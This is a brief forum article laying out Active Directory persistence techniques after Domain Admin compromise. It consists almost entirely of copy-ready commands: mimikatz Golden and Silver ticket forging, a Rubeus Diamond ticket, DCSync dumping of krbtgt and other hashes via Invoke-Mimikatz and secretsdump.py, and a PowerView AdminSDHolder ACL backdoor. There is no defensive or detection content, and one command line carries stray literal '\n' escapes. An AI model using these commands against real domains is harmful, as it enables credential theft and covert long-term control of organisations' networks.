Статья Domain Persistence Techniques After Domain Admin Compromise

[devqp]

Persistence techniques enable adversaries to maintain system access across restarts, credential changes, and disruptions. This guide details methods assuming Domain Admin privileges.

Golden Ticket Attack
Forged Kerberos Ticket Granting Tickets (TGT) authenticate users via Kerberos. Compromise a Domain Controller to extract the KRBTGT account's NTLM hash:

mimikatz # lsadump::lsa /inject /name:krbtgt

Create and inject a forged TGT:

mimikatz # kerberos::golden /domain:offense.local /sid:<Domain SID> /rc4:<krbtgt hash> /user:newAdmin /id:500 /ptt

Silver Ticket Attack
Forged Ticket Granting Service (TGS) tickets target specific services using compromised service account hashes. Execute without Key Distribution Center (KDC) interaction:

mimikatz # kerberos::golden /sid:<Domain SID> /domain:offense.local /ptt /id:1155 /target:dc-mantvydas.offense.local /service:http /rc4:<service user hash> /user:beningnadmin

Diamond Ticket Attack
Modify legitimate DC-issued TGTs to bypass golden ticket detection. Preserves AS-REQ/TGS-REQ correlation and Kerberos policy compliance:

.\Rubeus.exe diamond /tgtdeleg /ticketuser:<username> /ticketuserid:<RID> /groups:512

DCSync Exploitation
Simulate Domain Controller behavior to replicate password data using Directory Replication Service Remote Protocol (MS-DRSR). Requires DS-Replication-Get-Changes permissions.

Local execution:

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

Remote execution with secretsdump.py:

secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes\n[-just-dc-user <USERNAME>]\n[-pwd-last-set]\n[-history]

AdminSDHolder Backdoor
Modify the security template for protected AD groups to gain persistent Domain Admin rights. Grant GenericAll privileges to a user:

Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName spotless -Verbose -Rights All

Changes propagate within 60+ minutes. Verify privileges:

Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}